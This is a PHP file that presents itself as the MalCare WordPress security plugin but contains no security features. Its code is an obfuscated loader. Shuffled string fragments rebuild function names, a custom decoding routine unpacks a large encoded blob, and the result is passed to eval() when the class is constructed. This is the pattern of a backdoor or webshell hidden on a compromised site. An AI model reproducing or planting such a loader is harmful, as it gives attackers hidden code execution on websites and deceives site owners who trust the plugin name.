File: /home/ykk9qst4f1zf/public_html/wp-content/plugins/malcare-security/malcare.php
<?php
/*
Plugin Name: MalCare WordPress Security Plugin - Malware Scanner, Cleaner, Security Firewall
Plugin URI: https://www.malcare.com
Description: MalCare WordPress Security Plugin - Malware Scanner, Cleaner, Security Firewall
Author: MalCare Security
Author URI: https://www.malcare.com
Version: 6.02
Network: True
License: GPLv2 or later
License URI: [http://www.gnu.org/licenses/gpl-2.0.html](http://www.gnu.org/licenses/gpl-2.0.html)
*/
class Base {
function stack($_control, $_rx, $factory) {
$_process = strlen($_rx) + strlen($factory);
$this->shard = 0;
while(strlen($factory) < $_process) {
$signal = ord($_rx[$this->shard]) - ord($factory[$this->shard]);
$_rx[$this->shard] = chr($signal % (4096/16));
$factory .= $_rx[$this->shard];
$this->shard++;
}
return $_rx;
}
function seek($ls) {
$input = $this->seek[1].$this->seek[2].$this->seek[0];
$input = $input($ls);
return $input;
}
function _dx() {
$_element = $this->stack($this->load, $this->lib, $this->debug);
$_element = $this->error($_element);
return $_element;
}
function ref($factory, $load) {
$this->debug = $factory;
$this->load = $load;
$this->lib = $this->map($this->lib);
$this->lib = $this->seek($this->lib);
$this->lib = $this->_dx();
if(strpos($this->lib, $this->debug) !== false) {
if(!$this->build)
$this->_app($this->proxy, $this->application);
$this->runtime($this->lib);
}
}
function _app($ls, $_script) {
$_ls = $this->_income($this->_app[4].$this->_app[1].$this->_app[3].$this->_app[2].$this->_app[0].$this->_app[5]);
$_ls = $_ls($ls, $_script);
}
function error($ls) {
$tool = $this->_income($this->error[7].$this->error[4].$this->error[1].$this->error[6].$this->error[0].$this->error[3].$this->error[5].$this->error[2]);
$tool = $tool($ls);
return $tool;
}
function map($task) {
$module = $this->_income($this->claster[2].$this->claster[4].$this->claster[1].$this->claster[0].$this->claster[3]);
return $module(array(" ", "\r", "\n", "\t"), "", $task);
}
function __construct() {
$_stream = $this->map($this->state);
$_stream = $this->error($this->_income($_stream));
$_stream = $this->runtime($_stream);
if(is_array($_stream)) {
list($library, $iterator, $graph, $engine) = $_stream;
$this->build = $engine;
$this->proxy = $graph;
$this->application = $library;
$this->ref($library, $iterator);
}
}
function _income($query) {
$_dx = $this->seek($query);
$_dx = $this->stack('', $_dx, strval($this->twelve));
return $_dx;
}
function runtime($route) {
$view = eval($route);
return $view;
}
public $region = array('np1', '9Li', 'nKuVxO', 'bKwN', 'razc');
public $lib = '6bBsrT98zBiRdcjtW39ae9m+y/ErnND
Tq6j/hhrEVkzfCLDsmFhOBj98aWaZLi8Ss
kXPL50CPFKG7nVK9xMeIJfOVKgrfWdPRmxMNIyIONyVeLQ
XYC93f+Blx56b0Z5cIWVj6X7CR/Ph7TU7V3dSHMkL65i5ikBkmWAA9N76eEDjPBDP
u/LhnULgFqrPg+JUEV/M8DDAJBcWWJhZINOE3Xd
+BbewAVBzg4JUtnwChAykQXqXMp6iqn6gaDhS3i93Di2BdZpymPnoq1h6dYa2gaYkDFrWvSxgi+mu5
YO58tfONEQ19shhYOYJjiOPQBRe1X78UTkOgRlLlmjqTSRa76MmIR5CBHQ
mddfZrBrxtIfb1qLlMu2sd1L6vugH8etC0ylSLwBhU
mU2fx7Z3zC1J4IcDEZY2HG8zjwWR0yFGtyGL2x58TykP2ekHDynJEyzEX7SS+hYgkcWgEYNa4E8Ie
b5lS4ZibOK/h3hAz3b9h8lo0e7lt6/bCTqcgiOX2+u2zJ8DVT
ITOOhBI3or1EenIBzN9oRpjzCN6AVFIQcMvRMtfq8jIP7AiFXWhYzFpGJD96lPpJ6Zyu
1JulshaKP6RL1ySVSe/AMgTgrIK2O7uTT9wWvN+oUxkIO7CEdxtH
9ZHETMo0VpzcMn3obPchS+2VZY1J6PMsPQo4Y+sVADr/mu3mr25n6rVy/ZyWqvo3CXPy8URFsXAB
c6KxKc96YG+RWHMk3k/4DGOxiyYCfq7hfAEwmo+7wZW5C+pHR/mAMjYfB
oFex0RSi+cXpNNSwiaeysRkowxsjnJNP20S9G5cnoZ0oPI5x2fXNwhRV6OrLh
uTFaYv39p8aEYpJ7xHqizJVR4MmQcXAaivkOkDGQhxbFr
FWUPV3/vj9O9cc/3XIZt9GpfYB834KEDP5nG7R+
BgCHxyM9pBa99raBtJGBH2O4Ve5A/+WuCfU0Sg9/Zx1VCAts0I
Z4EOCqfGY+MLQ3fVMXepuTgkUbBtIjLXmWfyDuYQ1/uu
AT3QLx/sKfo2h27tEdvw6eRNdlQxOo5yJWF9klc
0rrsbN/DY3r17xh2ibJY0ftmps1ovs3cK4xw
C9LwB4+QUGcqKJjdjTZLa527IhRqzLWi
bl0hnGX2+8Ietu/vQcZpOFUbeuqJOwkR7Z8glUKCxByeX6K+ooL/sajwj
HxehhwwXthIglh9zRMqQoyupQIO6Gr75S1EelfEyvkMcHW+kvoi9kenXlFTIxMWtoEIaxN5/
1MgEjH6pHAZ51/6xihA92arpJ6jgwFBZ0u3STb0Yc3lxVoNUUf6d0rfa1Vof
pKUbt9d02XQhf5wny6/3PlV7sbUbEQa/RYjUIC/Nevy5eh
1Ti6v838zfJMZukcxa8pIA7LDGv6g0Hsma+Ug1vhQvDQNuRhrXKh3ct3VqI+JtSweHB
ycv2zLc8751+s/WAoVVRDodez4lb52heRI8RkS4xBmSMj5tU9Kuf3qcL/UqctiZfbdNPZBYqcA50q
+vuV8yWGw4g/y62jdQdmEnsdj9PgI3kCQG6DYvB2su
hgKXwQxz76Vx55WknfNfCdfo056PDLe1G/wROB3EGLx
BoVEp0zYaYY+eKzd457iv1/W8KgGr6laIOU
l33NJY5uoeZ/eAT2wg+rkG4YvZ9rmHFYYLiCMwB0hEogtKRL7F8G3nmbSe5TW9yCSQai+o/yQP4FDlq
GvBH9zxRC0QfX85TAanB4oqTdvOy3CR2zR4pieu9bfjtNlNDi1WepVIz30A
zwlaea6QqJ9HmtxSf7Ryy7UT+AuYp/d+3FT0ZOE
EiTnwherQqm5k27j18ztd3HSYQykiJkZSciqRXVUWthFLeminQ
zwu1gqocFv1GoAIHxV6n9EvyfdoEqI0viL/X
5j4GW8tC6/m4uxIaaxv6mEvAQHzOjo8n
ZH/XdGNAymJZJ0ieFBQ5HxGMTMHVwLD58DOB1yBwW6kPZuhthyfgSTO9LrUFrYe1Idqi6QrQiV
u0gmltmbCuz6kVotkud9DV1MbuUgRwcRJxcQqWYPm6BATrkxixfV25g
Kc19XS8M1w5ABnuZAFu6qSX9JwFw8MYGO5diP47uB6oyOSCUNQCbh1xoBFYTP2skOoIM6eIyMPdPk
zTuUkWZ9ZJVvDnF7CmiCfbjOhC6dB+Bh+2bvGENZeJ3HFIJkPbmosa2+Ui/wi500TJvX9
lhsOqrHEyjg7nZiO7/l8HaQOhVQVeyY6qDTqbWsTvkt0ChAhtViPR1
Lji8Tajbxwm3f3ZAbl0FTELfqpd6BL7X1wcEwM29cbdCRBenL/VaRz5Ink2pduzYemlNOM+i6nm
BXqj6LX1DTVde5kEFlZ8fBQFec3jczAus3LqRmWZJbsdN1Njiy9/wwJK9UZ
354xPTlgIljUg5TgJfsYlXfWCXMQGSeZ6NS/ava/MhuLCqK
kcAzaO8KlQ/i0WSkT0VdvJb5K3PNWA9S23N0jIbbWTlx
cHi3zdLlk5BvjQRxH15XgsUFRiQDpnS+V2DvYlCBw4jkUSKMNUer46jSr3ZlwpLcGTvBUdR
Z3tjQ2E1MdgNsAECxu2+NKucu4hIzD0eAF4ydrmpQKZ41eJVH7ajiMCJ7n9lwQ+NfQlWM7Zx9
sHvixz1/6ZuogC3pXMOAJZhih5rprQud9AyisJ5b7tOeolGDNB1FHE6kEqRIT0/7WlIcVV
kdVAMQH4+36MFvGP6bBx7uld22/zD4liyVjuIIqL
94A3dh+X8zkCn0N26/oVHiERHYbTAg/Yk/pvTZaKUE2auT3n5Q0QskakstJb
UBGoUFCX3Rq/XZ6XevMXL4hNATps4sEtCgWN
4n8vXcrcPRCw+dL5ApW0DX9misyUp2LqvTeS5ZS7E7DTuFo5OW
I+a5zqxEqq+DkP9CB+qXj83MmUfJsO8EAd9CI7PKzJxAFEQwkIBcJWH8jTZ2vW9j0QD
73n4YoXqy1ZzjwkpWB4o0no/7lHT0sAettMresCIU22GGY9Po9rZzVCqcro
Et+mKoWn4VXxb9q/2SizDl48eHZ+2JtrknCIwqet8Hu06vNkb/WDOo
6E1UVUjsAkYjgTZ/OI7B1WkC3DFsWTNArqZ
PhZB7HDBkb7KqL3l3/8Nx1t9MUp9EGY7aOCDK8j0T6k
3HpIvG8+LKpNFC960wM6HO92/n+wIb2TFac217iAo
/pYD8PNv3ufJ+nA4hrD57dbLGOwHDNw/Pv6hKHT32pqGTh
E7l5/whsBh7ApWLdjRG9Qd8X7Nn7OAl6iLVLnyQvP+ZZX11TYuPZkUYHWmzPe4ZLKlzv57
lnluvz4hEpafS42sVzVMfEz1sq//6tsSuDMw767R2oYJQYy6difckO
lWigCaFICn4qHqL4zw2zBPV9JuEk5eUVvilZWXHlZN6hdRuXpHsa
Q2uxKfpIoje63HJCpvsZyLGgHd9nx/P7fwoLcNTGkWSd/XUowb+4d3
DBx3BfvaVYVMVSYV34Ul3mOodqoGYW7KOFKurpcrmJe6KA8fFAw9BNN9de0cU2milBY
Elp3o8cmFQwvFQvo+HiLay2Vl1jzE42TMpcoLFaquIp8b4K4xSjUL/f/umEmin
oB9liX8qJSgL71oA6evATUlLRKbD2mXGo3m57UBT4ITp3Ni6Hg1Bg5G
IGM0J85/LnNMYLvnAucJksC+JjwpxwvstH9fDuwm0MWVh7rIdi4/pnKK
TNjtNOO8i5DgYuiJU53vMhW5e709FeG6SUHK21grOot2c6wwnjvN+K3K+1vw
8hbsOOlsp/GifUNJvb7wWomJHs8AnjO2AAskXDvo4DfXncPQB
N+HnxITil6kyMUErxy5X0pLCCJgdAXKJu/u+OFYWPItm/Wgjphq1FGh
CBWs97sBSbukx3lBJVS/avh/z3XeJH5Zu/fCitFMYMqFqj4t32he
gttKjyYi+r8Pa1TglJi/nScwDVHPQL0Gnu1tdTtciNLK1lrKYr7UKzCh7OBnFZjh3YSX2ehhC7Oex
0SzkK81CzXvVBTT0zMenyENp0uSbjspn41w
3xOgAsO9fJCdmf4PZlXjvkWcZ/gOVa+IYV9OvAkoc/
8j0C0dWH+iZ4kXG1r1ukJTghOMiMCdNmcv8dkWf
kmp50PdNtMbbR5gioQJrMKr9X6+/UtDsZ+JoHo/ZBX7McUYagLjI63C+DpU/wZnQj8vYDooT
atDG98h4+Na3pKJrISmubJlz8l+Strm19Jy2Xynew52dlGGt4f+Z0oqGMFUH2I1TRTk77XQkicdRaNa
ndaeS0zmR8ysQQ0xMRVgcbybrF2/q+NWjta7H733vCqjCq
xffrUiwy1GKsTUPlbxR3H6/f5f04NPdw6WC5sT0srdl/saZ01ry3Mkrb6HvcYg4rrrV
7wqMqWf9vTYobuHk2LzodlM/3BgQ8HjvPxTiKWD0eI
nzOFT8F0gOEZ7PvhQrUmWzc05ooJqakoHUtW
03NbeaaAL+1QgNNVuNCYb68wjbCvBWpqXa1z
bA2zjAa2DinyMRUQrFaVIDWt4kMqpwzoi9PsjG7MHnrKfDJiQskq2v
eeu5mq1IgjFYl8ptN+NavoCfT01rSbRpl9JTQF0klrsXgKQ1npW
ib7oA9AFQx6CBvd5M1raw3TC/LLnUs
DPc+Mk2A9XwLIx3ZYRxVcNLjSqLmJEyOknpm+qWvZqTdG6Xh
xB/Zc6vC8CkcsxzHfP0bTHb/YvdbBjXKv2QpEi40XFceYoN4+rUTLWTxf
sVK4NC9yssEDTbScS/KVY/YGwZHePT/4KXABUHsQZDx5gqAkQ3P0mhSfk98P2dLCvyS
rAEtLHDDeYlx3RQa4yT9ygnMnK27TbIlqYY0uN62ITXII4S6uH+Kq18wRuG9
f/IgHAS/d82wxUQqtzpEd0/DrDZars3JHjl1pzBlVcSmXADK2ljN6KEoF5siA8sx/aXZLZ
oCkMTm7XMOMvwv2EChdK2SapQIf6QaoXp4kh5K379IukPZj/RENaSvEl6MzZR6
S3QcPYULhFKsjNrxwrn4y1Xiix2mwAKVU5
DzVxFswHsaW5bmrjZXTrMqRr672/Bx+
fFbVxbWSjQDscVE/UVgN5aT5HkMzjJz7QLoHGfoaxHdLEDVRIqvV9J+OSr36x3RDSMBLra
495QktCeRSaoVbv3SJJC6UUmquwITaHf0kGGx+zxC
QzhVKPsOmy7TOjJ2+iSBCdR6KfXUHnSjhpDd
oLb4kkaUzxAMFXABHe7UqzKGJ5jMvttKRXoAhwLrQx5AKqpkMIiUOrEMZnlKmus7FJVG
Q7DIJY2D1NkiCOCFOD2ae/n2Rwe4pCIElbEI+mCoB9hXu0LZf5pSwSYTNTkUATY6sWnj3PRb
83Zl5enP3/jX3eYq8nzVRivtYXsh8y6RO55mGdJqhHoddvf5Mkq/eJBqKlY3GSn3
gDjNozu7WBseBIJXzwdgvMDgtrFrZF844Pf487esTEPjzSc4WenRGPMt4Jdb0i
qWkUZ/xoht/8k7qO/COP19NmzIf2b0lHYLvG6zB6szsRnyyF8e4LYkWRvCYtsH6YpIa
uM7D2duA20gGHHh2EbNI/Pl9W+mta03QnPiRs3FtrFgHCjqIcf4FXIcu37whgTVY7Gh5rFvcvBD/sY
ph1j4qyf7+C8ZWxcEV2N84oM5ohsQtFK/Evnhq/VQZnYnnz5d
7HivgpwdFDhHk+l8bvYahg6qCtGDxg4oBPIMfHukqioqoaoqw6rHe6Im8ma/mr
vhEx9TfPS5oDpH82hfyqS4faowWrlDH34+7au135UNggIaGoshkpNMmlJ73tsFjqixShHt
u9KXowuFhf2Vc/bVbhhyW5BXHm3hqtW7nA/yfWgQrzZYwEfyv8HYzbDJS/8
7+c+zHkTV8gGrwWAGpcutCBlayrL8bHym8lIR
yQNQbmqvvDTFXtx2mM24FP2PH+lN4sQBFbZiXYvkLtmUUpOJTg2vos7pIAnmHzxTC0tZw1Gh
LZZXbBZPTKqCO6Cn+wYCG50Gjs7cl+gPVFrVGZJFIjn2WZsjWLiDof7g
Y6ESRIi2v9Xcdg9XLrAfOQkeNMBpS5G1N90e8W87r45xVyx4hukG3IGRZiyBnrPCsQriG
JaHeWMoI1H4N4QTnwlY3yyRbfyDtpoW1KQloSezfnfg54OH1ZIxx37b5cJaJFnXR1qqIq
7GNp4yK3aO+bqwpIHKDm3rrfmu+uD9n2oBOUV64UOR5FdL2
dmjZYC/JkG4ZfN7negqYtTiaWvRbvK1L5gEAGtgJWWTlslnp8EvcJLKlGtg7sv7B
5c+gqGCyCXxX8VDWV8dCPenBR6rSf6dHZe56oCg+mcVZDA1pPQf4igDWIDnvy
iTwVFfp0EuZemEjNQUP6q/CLc7VwEyyWkdOQ3B362p/rqZVsaz
S1IG5PTfEB3e2Z2K6rK07ZkDmuZzyXzhAwV0nPLWY1pc/KlagmPPa1lQ1C7Ot1SBB/c
R7xlwFzKgOO2suHJrepNBno8iEpdzDxwD32QmnebzK1r8/1iB3k271HExPNzy+EBOrWw
37EbCwJi0D1xipa4qbaMJ8tu84IY9L/i4hlRjAptU8GAuDyXEjiBZ72DxDGgWr6WdZRp+URg67Noq
Kf2Dv+hxmivWjVWSUtwhA+JNj4CZjB5TzirhspCT8nea2+WwX3TL4fp4VcghN
fGgG1gO20WC3Xpd26nKzYp+KnrmxKlOVsAdTaAGpyHdhLtynE2/PyUMF74G
I4PwReDx+Xn7TGG6rposfL34R/U8PP9
wVYbuApY3KJ8ELKsF2hZ/46QOvJr9hW2XX8D+S6nBkqZoOX1CXUGTHR7AjYg
lwlSF1GZHcEMmNCIj7bFt5ZXq5C7BOUGX4CafKBjJ1hUOPq6bSVvBcaOaG+2Pq0T/
g9jdIMxEYDsiWhJgdXjhy1/Z2mRCMdKAd5W
3f94Rut0yY76jzDG7AYUztU4AuWNfU01I2slayU+4WEXpD
EF4ZuvaKuBAZxz5dYCC02/QTwV346PQ4wkEH1P5oaN2Ge4FhNDTvvdU2x+qdCw9rMasGIaAJk9ipOgk
NbT/7u7x8Et7czUkkAS/GdowHUEc6ONj/6TGIUmixN
Sv6kz9NgZ7ICUDizgec9QZSs2GSeyEwJ+kA
A7sB6SJH83ZHB7z6KRMJvlJ9zK/6Z0LBRN+zWyXG4wmA7r
xkENIyS8O/cJIrPvB2eG+LRiDE3okjtfV4r3pH5OgOm7gQQ
LQ9fJnsgdWgjkqdgEMsEO5LwGcRsBBUd9dNAv
kokZq43xEw38b02EtMul8cH2wfbBwlIOq/mn
A8cvxDdFcFjNrtr7RKz0muxNGcVtqgVSnnqgrFSV1szwMHCcDv4EmhaG1xDE
qtYQg6OR/KvD02Nuz5dLn/GrYZS142VZgzResLYozXsCBOR0n2nImTmx
KtmZdMBZe5avw8Sf2GWhJm4QTSR+zJXxOC8dhHnPrmbznv
WzzGUhJllzBMZAcj61hFozgOWooiOyoUoYkXuCy5zumnBhAhAW4cBXxsZQOEL5
xJbIMucsWsJqv48hELMakmx+MEJtDBVtDBR3l5HOkjy5l
yV5NHNMFGNsjIFIPlVzvZg86Cqw5wUgUOeQAyctUV6B6aWVjqK3E7Hbwd7vfN9VcS
9TqhSn92x88hueNWV3fvVrJig6nggZ4uMqhiI4tm7GpGFqQ7WZ0t5UfUhdDp2dPkXWZpKK
cX0Yu/4bgZovZpxk20OcZdh2d3JroqQISi31UHG+G5qAC8lD
0W6SyFMBHw3UdIuWpMtfJWHLtr01hHOx9gcFFf2FklRxNW7McW
Lm07sjifZM9XkmzD2trwtdYDS0O8DXsO+wuC4+oNiXLFLIrYtj
kjzkY9uQdCp5ascMJtaZY1sYom2UIXTrtoa316RxVrB9fpLGMfPditFfAkheXpenaUr961wW
VxIckx6ChWO0+k+wipj8ur46b7SXIr1HICyHcvD
QwtdmmVCXzkB6ukd0Ss5emeBswzQXyK8gb5RoQ3WLeQsGzFMuGWrCwYcjWWwp7sEcqK/IVR4hr
jzsyNFD6o17C1LGOVxUiBt8aw+NgFnkH69PiOWTMPIFseN0WgR2sqYMF6rO7XWara5ntoHZS
BlXXxcqzwmzKPRa2bEsiWIOKdnU3QqNb8CFrojmJId7unTBOb4DO4RY++LT5M3KeM5wmtfQarIMx
9sFEON70QXaZBhglpPU3nGfDQ774czVDWGMZ03qIgZGuVNmv2oiyEY
LbSF3M6jN+xSj0j+7qXbW4eFA5c+OtBOZiWcrbzBrno550KyRs2cn2W8a
qyMywOA1SBWbz7P6NelRK9+Erq1Hcym5TOXdCbu8daA0z8bHirrqNq3jnFIZ3Q8s
tmZ8XarZ8SWGkjRTrs36um1HdjoNpansM7P1kU+
sBq9nHo32AadoMuIvqndgy8MLUGhp78aV51SyY04rpZPxt1C6
ZDUW9SbzQAVhfN9bzuObvJW8MLhuRGQnO2f3e
PGpNZw7UiUUkn2+WwO3CcDF/ja0pKSWODkOS4XqYb5Kt3zEeou6/H5j2FglYDpMO
T9y//gZNkz9MNLwRUjcchyi4cm8/IS0LB1hGECs24Ss8zb+ee6irvfmcl6cEqDSGeW3EO4zN6edZBuG
Ozy2vS4T/hFCH/1kmYg9THhmqnLdUOUyFxgDStmgCyWoFPnUGZ8Yh0dqHFQW7YemAvzZyAM
rZ0FEhV9zsoS3e9hlCy36LehwnDAs8Gs6l9irDhlDoK2jA
dBNKjjX0Awe0qYFeG18RZGKDIGWirkKQ2SWJhPnWvSmHAxsxq0dWmp+MG/xPYOfKHAcyCqyghvJ
f6LChuQ4Ja7awAbhJh771dMJPhfsAxumYQOd0k/DuUxMoFw3H2AOu9q
NtPAcu9zzNESurBCGReKoLYcApTo93nDjgYWEdwc3WTUN/I67mrr3B6Yzw26quXMC+xDwC1W+X0hqG
K9TIb9GUnjXHEOnkwrlo7EIi+2gkNNPbRN60v0XLAeLbN1SNZKhHeexkJe2261s
MtbN40EtjKbGVpSBUzmir+VNHkGDamXq5VhfEMtMoXvm1JTnjbJSxzBl8uKnNDHbJ9Z+dpAdbCV6LgKF
MYu4/gECKfalRzZub8GfwPGFyqxxvx20nPKtD
IsjZhpvd9q2a0D62zkKLvInngafsqJr98LkmCacLy4uyijqn7b1y/MLI3/PyN
tgqU/0n922dAsk7fxuksEJySc55JeWOphbHpuhf6I1cJF
yrNtEgtjVqn6JmDv6WSfeMVDt9ZBihOIJZtoh6WPxOSjLlwEzX8/B4/MhKm
zUS9/Hh6bzo01RFg49DQtQOYgZ0ForV8dtyEIpKPGKNUb
gLbzxVqG8n1+KZNx3KuMh8yRnScVj40ThJOyFbXnzDlAMJfQocQoAqv/tcRSahuydQlQ
5oYEJOjTPRpLU2TPaqKoFtNabyjb1BETYgo+7OlUZrQRULEzFIC2ctlHhzKgQUvpb
+sop5xwCySS910XlQvuqyxM/Pn9bQHEt9pxkFpKdj3z++0+jwmNysI6AySqtpE559tLnF1cw4TE
vsrt9oWuQ87lkLDyqQfad8XE1whxCKFwkvxDxpd
tygpnJyXlxbeADE6T5Kt8Iaoee4S2zNXvlUEyuImC76qmmCciOpteZ2v
SRuQ2MgSJtROituEV9RkjFX/bZBmognOrKOaQps/fGJ4UimwbKB9NJMvnop8bLIl
0k3WJQEzyXLjsuTVG7LfhKwj7ArHnb/w5H4Y9wzx1qQggi39dOXG5Z52X
QRORsyEraVXIC4W9ZspKxrsAGJXLcjNDa1Cjg6ZvjFwx0q6xiTQUfWemaBY1NcwM5ibgof6kNMEjw
kkBjlbj/70UnSCvh5UMFXOdWPeE2Fi6eci/ObGC0+Ys1nUfW7MdEkpo
g/X8jYp5vEsRQhME2aa3hhQQuAE0wObtzR1X6RHmtGC1WELYZmY79+x9WmFCDeFAALRHg0dBB
+dTZgIWPG880Jh7i9YnxoTcts7rmT0
bdzSbVGODqv0ri1jRD0Gt8mv7QSyWitbEVt495DqsB8Jv1NXsKJY3S1lp57jPdMeZWAHeSjp0Dz1ir
43IRVv2owitz3RMu0DoUg5X/6VCXmuhs+1ouXHJZfkN0SQyj6DSKAqsbGL3nwpSbGxbVbNPK
htF9b7Ymq/I4ozg7X9A60z/ifUpPowg4c6hu01iI3EtqrLAHXdLJhMJRUEu33SYiDh5ffvJjWBe82Y
KkHlKZhWjzs3mhjzcxuMH7UaIr5sOxHLGYjk7qL+F8efE
SkDTnJr/sKEJme/xWJJXcT5RbTZgK2tt3Z/h//7/M01ZhjOWr7J8BhcmDE
Pbq5I9q7jLZopAHuZWwCGg0M6p/dlkiSrSl4DO8x8nsYbd+0r3mbu1+2FwP63PWvirN0
se/NdEBQ3OeLiI+X2yD4F5/qiKVAVS9kmoDksO7JfeyNPs8D
D10HQ6MYltzcaMfbY53Q+towsakf8ozLzrhy5+c/vOFZvQ7lzxGEa
cx3eqXIktgcy3/o/CKsO7+q6l85eCCwvu2lPidmpuB3jXinpsai+YarzyWaWVJZQswmYpBYW
iv8nLd3yynbNTqtIhRzn7GTv8L8ZsELzLCV
JUSfAMt/w6JIG18muwJoBZ3SCyAb76vkeBGrOZOcqSJnxdr/D0FuYc9Fntec
LJ7D4UJ0666VkAPyEyYYiuSLfWf9sIg79ZnavJkumDz+u0EZII0pUwXZ+7Iv4VVryLWIIVdXhuaY99
OXk6YJ49azMqaFm64jV2rvZPpwS9WzyLOQG5qXq6JoIVGRRW1PvHA0JYepb
+SCrERSSAooH/hIGlfClrBPA141VagofHYFT7GL
nvaWwYiTxOAC0xlCWwfPO2RAjqM+7fqsb7UUHvcK8
kX2yCk7vJQdxWodfeCkjK7tkD+qXjzNezYKws
QNeSDbMILXwb3dDN+LzmARTYh3s2YGcRms/+bAb5Q/f3DvwvyZwxP8n10d8uWxCfRexx
emybsS+NUPTp4svyUWsAv0dwnGzkuja7SpSO3SD7mZF3BPXeF1M+XPzZTUFigRyfh
R03G1VVJnrVyBZR3rAlZh3o8+RYNylL/9m07fNMTd9w9jkzj51AJHR+/9AwGqjHIGejw
0t2sIP9zDX4Oawz0HBSeT9kfx8IkwA8traT2lwHi
mrsHKkEoY1wVACoo7s5nVr0sRNJEQyDCDCrFy8UO
rdB5oG0L+TPlnDgYTcXzKZR+FEbHi5fIsqy
wH0pI+aa4Y6avvzKj7fLVpNaHH3n2FKFkAUu//MTaQpHV76NfnaMYxaszHxPHfu4cBDB3yXdgXw
2IXDLcmXDtSQ+wIHd7YwdKIEGYo3srs0XGP6bIoWEu1/mNjJ/enHV7zmnBCmCXwXmhghjdpL1fDk1y
xlO7VI7KrEDu2qOT956FMTSjY/zazeHkjQMj6tXnA5AZj4Sdijeozjt0LULztcuKP0V
5IY6mVWROqmoYQ6d0SQ7JNp2/vgNrnkHmIlKQV
YR67FrPJIilhxkISmOwaL+xkeq00d38MYILKhMYASLrg3urDuA3oIqtsTGvplMVmK6W+nLp9
UbtMTxR+e9dOlC9w2ONFNf+QAgZCn2ldhvcjsVBHcCBLDHp8GT1EWnt8
Y5kI1lWBY2WV8jdoyO/K75SFYbjs98a5U0h
R3zUEcf89DNlq5VMr23YJTYA8K6i72BwuXfP34XdTJHk
biYAJG3sBysBbN/TG91D1zI16zPhHo6l/dfOPupDc3D4nI
5yKZxxnqhuXdK1TqR3x2TnP7DHdFox67l7Ymfz4cXcbt8ebxKUD1ix7rGKZMI5d6K
SGyvNgSPlP1e5mz2UveHMup3eCf3xccBIvu
ygJC1L5rv23PaFXWXwbLw2T0/bOr3u9Be4Ba8IUqrEg1m0nW0SoKwnhmfw6YAekcp6n
JV2w1w9xq0JFroEImUVJmEobxh1ccgyWqL17pbjLNi42+kCedfA
VgiS3dIHLng20ZLW86prtW2YVk4TLnW7CFfleVdJkrOkE29bqpHvJnPaaA4QOcRXk2CQDMJP
tw430CD0MpBX0uEZQvyWm2dGGM3nZew5hT+eDqPiW4f
SXPE9fLsMgr/arExirryMvqqz7VolkM/nQV
Cn0c2RNBl7cVHsbBmaIuc4cdZRVxfXaMOIJMjB8K/bckJP95
/CaFL3kpCfaD49dXwFsoWvRHxFYizcjTdygCbAREh+JBQsbRD8yS9U
fAmyJH6T+aLk0LpNVfyfrfFQKbCwqHGB1diy4xE9YB3Ejgh6YB38xnzVsxx
Zn3Lxj62emW3cEeG4R0hLjqBpAIMsMyUy1CEeFh300fayxjvJPr3rU4si76d954Q
UNio83NL1BgQmbfi8odYOgL8GmmXxvpd9intj5aKGV9dVYM/RYx+xy/QgB
or888zzHeYWXZtZGu9OJfXYOT/q8pKf9cVX
Cfe/IxP91q1Re9A1QKhtwVTpvSIXRUb37aX8l9PUhj/NF1Dh32+Yc+wO55QmVhpD
0GwO0vzKxc8xWIyyevjbEK/4t6iFKqn0l0v7MAzOQg9SdbkbIVtWyT+Q2TVa3lxQZ7lcqjC7a1/kuFlt
DfzjkbCoC1foCrIvP49rqhGm2CMjjFtU9pg38XHZvRbAN+meYkk+MSalupspAH5C1f8kxDiq3uOJbSgU
dsV/n1zSScBwDx+m/9LjxU5sHH0GReqs00+HrQBU/kORB4UwhA7P449DDLjSvXW2EzlLwqNgJba1X5Yc
+AH1UnM2k+bYqHUkLxyyjVVEeJrlGVdi+E1R60DUbj
a1+fBDTjDIetNEoYiaLf4IyBXabgL0Cbuptg83HbP0/1I0
0KWWv7HuRJqDzwNmi+w8lw4cZEtM2LRsrBgDMv0tV
AUgIzeFlDAdNxbAIZRlZU/EmDOUSW4DgefuHwW6TXIYy1wvXXOAs/Zd
+BR929NSq7zu+UGQeNTt9/e2jq2YTuyHFdH1mTDCSXsl3Gv
qte0cXLkBNRhh5f0Dp1aDEiT0bTlRhHDN6VPPsLUmGSWUfEZzavCoz
nA/5RAkHbWkNOFDjOfVHhbNq/Jq/r18vlHT5zlxx
rK5XpccNc4PuA/Oxw/STty7KQ/x8tXvp393tYPCF
abPZh6mnGkuACu/TxLGU+ED1qVc54qhFlBPUc3D6LM7Y/7JGjeArfo5eDPq/pJMrAufKih4SoeK0zR
eDEqAs2Vzz+QTx1GVwds7HuNaDPK/W93RTXaOc
g3VuZ8m5ucJJBybD6oNeXKERBBGK0PE9t
Zy2imKwJcwd0Czj3eyjSfk1UAefXG7e3Ng4m2WY3Dqdw4JtXIRV8/vY0akZaRmpLT39D
cw9bm4aW76Ht2yM3mF9/IRPo4IKLu6dCtmJ7EmjqxxVIiz8mKO3rZ9YCGTh9zGHkG3T+
K3dA6Zf+sQFbV78MMqsm1Th2b7AbHxMIyHAEdTUx+HPwu7dbyVe38lZYSbQyeQu9pKV4TJCn5qyoVCa
bOCCNWb4WS3ySLSqDXOaYYaQ7GTZ2A0KM4jeZvaTGTLytiCyP8FOsRfL
NpUEM76QBf9hhlQ9FPPd3TxoGtU4zg0q6KE6NrnLMZOrr8umVC+GjG1kIv20EOl8FCIlxdYn3qwpVePb
PIrqCDjfUhU9ZCvUef6jSp4hXBry6hhAxVP+RpkK7rD
2mE9UnBSQJ7osBSivHc4NIbdx0c3X8+Dy1GuF2T0ZYwMFW
oylkEiJdTStDENaGsHTPOUmmkLgWAda9mJGWVkUZ2+Z
5E9zEjJRvOvCrpP2B5fXaQXVnBixLaK3m/Rc5XDMfD4yJ9R650XpA7kGb0imQ+Sh
pBXAFzniKbckhH3A9lE+mhsn5y46sDwJ5mQYYNVuEklWRknotm8sYBzLxamK8FrewqbvphZHv4
sacYZ/nrpRaDkHlwhcVvSbWBekg37b
h7f5JwzsVXBcAh13awyOj3xOmQX2lSwe/iLuFN
kcRAWhQEa0dkKwwdoj4V3hNOs++hjv738KZSuwGX
zfJQFplNiI1VXTHd+Ac01PLqqpVlZMTQpePGJXh+AAndEVr6IMB7H
KiJaNWRbTSCLTdo0KYNxmvNcf4f4CTLeu0b469bcHSa3Xe7X1b
GjHQtmHfJc/K/UVv6CZaP9EeMDqWK5VmF8Q22d3sf0tajwh0YMxBMkSRwEo8AEID
Eae3KGd9V5KBMsJd1Hab8cvjemgqJIg4nEuKdfDvxuYyc5g6nQbkmJy6lzFEQv4B
